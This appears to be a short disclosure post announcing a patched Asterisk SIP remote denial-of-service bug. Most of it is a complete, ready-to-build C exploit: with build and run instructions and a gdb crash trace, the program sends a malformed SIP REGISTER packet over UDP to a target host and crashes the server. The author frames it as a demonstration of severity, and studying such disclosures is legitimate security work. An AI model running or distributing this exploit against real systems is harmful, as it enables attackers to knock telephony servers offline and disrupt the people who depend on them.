A very serious remote denial of service was recently patched in asterisk
some limited information on the problem can be found here
http://asterisk.org/taxonomy/term/32
the bug exists in the asterisk SIP channel driver, anyone using asterisk
running SIP is advised to patch their systems as soon as possible.
i am posting this code to highlight severity of the bug which was fixed in
the asterisk release yesterday without much of a description
/*
this will cause asterisk to segfault,
the bug that this exploits has been patched in release 1.2.16 & 1.4.1
CLI>
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1082719152 (LWP 2510)]
register_verify (p=0x81cf600, sin=0x4088e750, req=0x4088e760, uri=0x0)
at chan_sip.c:8257
8257 while (*t && *t > ' ' && *t != ';')
(gdb)
build:
gcc -o asterisk-sip-killer asterisk-sip-killer.c
run:
./asterisk-sip-killer -h <targethost>
*/
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/tcp.h>
#define SIP_UDP_PORT 5060
struct udp_session {
int sd;
struct sockaddr_in saddr;
};
int make_udp(struct udp_session *p, char *remotehost, int port)
{
int sd;
int ret;
struct sockaddr_in saddr;
struct hostent *he;
sd = socket(AF_INET,SOCK_DGRAM,0);
if (sd == -1) {
printf("error making socket\n");
return -1;
}
he = gethostbyname(remotehost);
saddr.sin_family = AF_INET;
saddr.sin_port = htons(port);
saddr.sin_addr.s_addr = inet_addr(remotehost);
memset(&(saddr.sin_zero), '\0', 8);
p->sd = sd;
memcpy(&p->saddr,&saddr,sizeof(struct sockaddr_in));
printf("udp socket ready\n");
return 0;
}
void kill_asterisk(struct udp_session *sess)
{
int ret;
char *p =
"REGISTER \r\n"
"Via: SIP/2.0/UDP 192.168.204.130:5060;branch=z9hG4bK1d97e14f\r\n"
"Max-Forwards: 70\r\n"
"From: <sip:[EMAIL PROTECTED]>;tag=as253946cf\r\n"
"To: <sip:[EMAIL PROTECTED]>\r\n"
"Call-ID: [EMAIL PROTECTED]"
"CSeq: 104 REGISTER\r\n"
"User-Agent: Asterisk PBX\r\n"
"Expires: 120\r\n"
"Contact: <sip:[EMAIL PROTECTED]>\r\n"
"Event: registration\r\n"
"Content-Length: 0\r\n";
ret = sendto(sess->sd, p, strlen(p), 0,
(struct sockaddr *)&sess->saddr,
sizeof(struct sockaddr));
if (ret) {
printf("You may have well shutdown a asterisk server\n");
} else {
printf("there was a issue sending the request\n");
return;
}
return;
}
int main(int argc, char **argv)
{
int i = 0;
char *r_host = NULL;
struct udp_session *connection_out;
for (i=0;i<argc;i++) {
if (!(strcmp(argv[i],"-h"))) {
printf("it looks like you want a host entry\n");
r_host = argv[i+1];
printf("r_host: %s\n", r_host);
}
}
if (!r_host) {
printf("umm you forgot the -h <host> option!\n");
return 0;
}
if (!(connection_out = (struct udp_session *)malloc(sizeof(struct udp_session)))) {
printf("malloc failed your computer sucks\n");
return 0;
}
make_udp(connection_out, r_host, SIP_UDP_PORT);
kill_asterisk(connection_out);
free(connection_out);
return 0;
}
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